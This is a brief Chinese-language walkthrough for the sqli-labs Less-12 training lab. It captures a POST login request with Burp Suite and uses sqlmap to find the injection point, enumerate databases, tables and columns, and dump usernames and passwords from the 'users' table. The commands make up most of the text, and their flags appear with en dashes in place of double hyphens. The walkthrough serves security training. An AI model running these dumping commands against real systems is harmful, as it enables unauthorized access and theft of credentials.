使用sqlmap对sqli-less-12 的题解
1.由于该题是post注入，所以我们在用户名密码处随意输入并使用bp进行抓包存储文件。
2.查询注入点
sqlmap.py -r 1.txt
3.查询数据库
sqlmap.py -r 1.txt –dbs
4.查询表
sqlmap.py -r 1.txt -D security –tables
5.查询列
sqlmap.py -r 1.txt -D security -T users –columns
6.查询字段中得值
sqlmap.py -r 1.txt -D security -T users -C username,password –dump